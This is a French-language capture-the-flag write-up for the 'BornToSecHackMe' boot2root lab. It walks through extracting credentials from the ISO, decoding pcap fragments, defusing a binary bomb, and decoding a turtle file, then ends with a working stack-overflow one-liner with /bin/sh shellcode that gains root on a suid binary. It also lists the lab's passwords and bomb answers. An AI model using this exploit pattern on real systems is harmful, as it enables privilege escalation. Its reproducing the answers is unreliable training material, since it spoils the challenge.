-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwriteup1
302 lines (253 loc) · 12.3 KB
/
writeup1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
#Writeup 1
------------------------------------------------------------------------------------------------------------------------------
Sur une machine Debian(vm):
* wget http://dl.42.fr/BornToSecHackMe-v1.1.iso
* mount -o loop ./BornToSecHackMe-v1.1.iso /mnt/iso
* cd /mnt/iso
----------------------------------------------------------------------------------------
root@debian:/mnt/iso/casper# ls -lh
total 407M
-r--r--r-- 1 root root 15K Jun 17 00:36 filesystem.manifest
-r--r--r-- 1 root root 15K Jun 17 00:36 filesystem.manifest-desktop
-r--r--r-- 1 root root 11 Jun 17 00:39 filesystem.size
-r--r--r-- 1 root root 386M Jun 17 00:39 filesystem.squashfs #<----------
-r--r--r-- 1 root root 17M Jun 17 00:36 initrd.gz
-r--r--r-- 1 root root 201 Jun 17 00:36 README.diskdefines
-r--r--r-- 1 root root 4.9M Jun 17 00:36 vmlinuz
----------------------------------------------------------------------------------------
En faisant quelques recherches, on s'apperçoit que toute l'arborescence de l'OS est contenue dans le fichier filesystem.squashfs.
* apt-get install squashfs-tools
* unsquashfs -f -d /home/boot2root/ /mnt/iso/casper/filesystem.squashfs
----------------------------------------------------------------------------------------
root@debian:/home/boot2root/home# ls -l
total 28
drwxr-x--- 6 boot2root boot2root 4096 Nov 9 10:57 ft_root
drwxr-x--- 3 boot2root boot2root 4096 Nov 9 11:10 laurie
drwxr-x--- 4 boot2root boot2root 4096 Nov 8 09:08 laurie@borntosec.net
drwxrwxrwx 3 boot2root boot2root 4096 Nov 8 09:11 lmezard
drwxr-x--- 2 boot2root boot2root 4096 Nov 8 09:07 LOOKATME #<-----------
drwxr-x--- 3 boot2root boot2root 4096 Nov 9 11:10 thor
drwxr-x--- 4 boot2root boot2root 4096 Nov 8 09:12 zaz
----------------------------------------------------------------------------------------
On peut voir un repo nommé "LOOKATME", ce dernier contient un fichier "password" :
----------------------------------------------------------------------------------------
root@debian:/home/boot2root/home/LOOKATME# cat password
lmezard:G!@M6f4Eatau{sF"
----------------------------------------------------------------------------------------
On a donc ici un point d'entrée dans l'OS.
----------------------------------------------------------------------------------------
____ _______ _____
| _ \ |__ __| / ____|
| |_) | ___ _ __ _ __ | | ___| (___ ___ ___
| _ < / _ \| '__| '_ \| |/ _ \\___ \ / _ \/ __|
| |_) | (_) | | | | | | | (_) |___) | __/ (__
|____/ \___/|_| |_| |_|_|\___/_____/ \___|\___|
Good luck & Have fun
lmezard@BornToSecHackMe:~$ ls -l
total 791
-rwxr-x--- 1 lmezard lmezard 808960 Oct 8 2015 fun
-rwxr-x--- 1 lmezard lmezard 96 Oct 9 2015 README
lmezard@BornToSecHackMe:~$ cat README
Complete this little challenge and use the result as password for user 'laurie' to login in ssh
lmezard@BornToSecHackMe:~$ file fun
fun: POSIX tar archive (GNU)
lmezard@BornToSecHackMe:~$ tar xvf fun ft_fun
ft_fun/
ft_fun/C4D03.pcap
ft_fun/GKGEP.pcap
ft_fun/A5GPY.pcap
ft_fun/K8SEB.pcap
ft_fun/PFG98.pcap
ft_fun/U89WD.pcap
...
ft_fun/7ICHZ.pcap
ft_fun/AMH11.pcap
ft_fun/DFO1G.pcap
ft_fun/G3VJZ.pcap
ft_fun/Y8S1M.pcap
----------------------------------------------------------------------------------------
En regardant ces fichiers .pcap de plus prés, on peut s'apercevoir qu'ils contiennent des parties de codes en c.
On lance donc notre script pcap.py qui va reconstituer le code complet:
----------------------------------------------------------------------------------------
lmezard@BornToSecHackMe:~$ python pcap.py
All files are sorted !
Code recovered !
'main.c' file was created !
MY PASSWORD IS: Iheartpwnage
Now SHA-256 it and submit
----------------------------------------------------------------------------------------
Donc aprés avoir haché "Iheartpwnage" en SHA-256 on obtient le password : "330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4"
On se connecte donc en ssh avec le user "laurie"
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ls
bomb README
laurie@BornToSecHackMe:~$ cat README
Diffuse this bomb!
When you have all the password use it as "thor" user with ssh.
HINT:
P
2
b
o
4
NO SPACE IN THE PASSWORD (password is case sensitive).
----------------------------------------------------------------------------------------
--------------------------------------BOMB CHALLENGE--------------------------------------
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
----------------------------------------------------------------------------------------
phase1:
on remarque que le main call strings_not_equal
avec gdb:
>>>
set step-mode on
b strings_not_equal
r
"salut"
info registers
p (char*)0x804b680 // "salut" > notre chaine
p (char*)0x80497c0 // "Public speaking is very easy." > la chaine avec laquelle il compare
<<<
done :)
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
----------------------------------------------------------------------------------------
phase2:
read_six_numbers => sscanf de (%d %d %d %d %d %d)
avec gdb on peut mettre des breakpoint à chaque cmp
1 2 6 24 120 720
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
1 2 6 24 120 720
That's number 2. Keep going!
----------------------------------------------------------------------------------------
phase3:
il fait un scanf de %d %c %d
le readme indique que la deuxieme lettre est b (0x62 en hexa)
on setup un jump a 0x08048c00 (donc le premier digit est 1)
0x08048c02 <+106>: cmp DWORD PTR [ebp-0x4],0xd6
0xd6 = 214
1 b 214 :)
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
1 2 6 24 120 720
That's number 2. Keep going!
1 b 214
Halfway there!
----------------------------------------------------------------------------------------
phase4:
fonction recursive suivie d'un cmp avec 55
avec quelques essais on reconnait fibonacci et on trouve 9
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
BOOM!!!
The bomb has blown up.
laurie@BornToSecHackMe:~$ Welcome this is my little bomb !!!! You have 6 stages with
Welcome this is my little bomb ./bomb./bomb You have 6 stages with
Welcome: command not found
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
1 2 6 24 120 720
That's number 2. Keep going!
1 b 214
Halfway there!
9
So you got that one. Try this one.
----------------------------------------------------------------------------------------
phase5:
ici un strcmp avec deux chaines ("giants" et une autre)
l'autre chaine est cree par une substitution monoalphabetique de notre input
on peut betement essayer avec tout l'alphabet: on trouve opekmq (opekma marche aussi...)
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
1 2 6 24 120 720
That's number 2. Keep going!
1 b 214
Halfway there!
9
So you got that one. Try this one.
opekmq
Good work! On to the next...
----------------------------------------------------------------------------------------
phase6:
read_six_numbers = on sait qu'on doit entrer 6 nombres
avec plusieurs essais on peut etablir quelques regles, notamment que les nombres sont tous compris entre 1 et 6
4 2 6 3 1 5
la j'avoue que j'ai un peu testé pas mal de combinaison et y'en a une qui a marché donc j'ai pas vraiment compris l'algo
----------------------------------------------------------------------------------------
laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
1 2 6 24 120 720
That's number 2. Keep going!
1 b 214
Halfway there!
9
So you got that one. Try this one.
opekmq
Good work! On to the next...
4 2 6 3 1 5
Congratulations! You've defused the bomb!
----------------------------------------------------------------------------------------
Donc on peut maintenant se connecter avec le login thor : Publicspeakingisveryeasy.126241207201b2149opekmq426135
----------------------------------------------------------------------------------------
thor@BornToSecHackMe:~$ ls
README turtle
thor@BornToSecHackMe:~$ cat README
Finish this challenge and use the result as password for 'zaz' user.
----------------------------------------------------------------------------------------
Récuperons le fichier "turtle" sur notre mac :
----------------------------------------------------------------------------------------
➜ ~ scp thor@10.11.200.67:./turtle ./boot2root
____ _______ _____
| _ \ |__ __| / ____|
| |_) | ___ _ __ _ __ | | ___| (___ ___ ___
| _ < / _ \| '__| '_ \| |/ _ \\___ \ / _ \/ __|
| |_) | (_) | | | | | | | (_) |___) | __/ (__
|____/ \___/|_| |_| |_|_|\___/_____/ \___|\___|
Good luck & Have fun
thor@10.11.200.67's password:
turtle 100% 31KB 23.6MB/s 00:00
----------------------------------------------------------------------------------------
Nous avons fait un script python qui transforme le fichier "turtle" en un executable python => result.py
En lançant ce dernier, une fenetre graphique s'ouvre et on peut voir le mot "slash" se dessiner.
A la fin du fichier "turtle" il y a une phrase "Can you digest the message? :)" qui fait reference au hash MD-5 (message digest) ;) ce qui nous donne :
zaz : 646da671ca01bb5d84dbb5fb2238dc8e
Une fois connecté avec zaz, on peut voir un fichier binaire "exploit_me". Avec un ls -l on peut voir que le fichier est suid, et que donc il se lance avec
des permissions élevées. Avec gdb on peut disas main et on voit:
0x080483fa <+6>: sub esp,0x90
ainsi que:
0x08048420 <+44>: call 0x8048300 <strcpy@plt>
On voit donc un strcpy appelé dans un buffer fixe de 140 bytes sur la stack. On peut donc proceder a un buffer overflow.
La sauvegarde d'eip (adresse ou le processeur va sauter en sortant de la fonction) est située juste apres ce buffer. On peut donc faire jump le programme la ou on le desire.
On genère un shellcode avec peda qu'on push sur la stack, et on tente de jump dessus. Par chance, l'executable a été compilé avec --execstack, ainsi on peut éxécuter notre shellcode :)
On ajoute une plage de \x90 (instructions NOP) afin de faciliter le jump (NOP sled).
----------------------------------------------------------------------------------------
./exploit_me $(python -c "print 'A'*140 + '\xac\xf4\xff\xbf' + '\x90'*500 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'")
----------------------------------------------------------------------------------------
TADAAAAAM ! JE S'APPELLE ROOT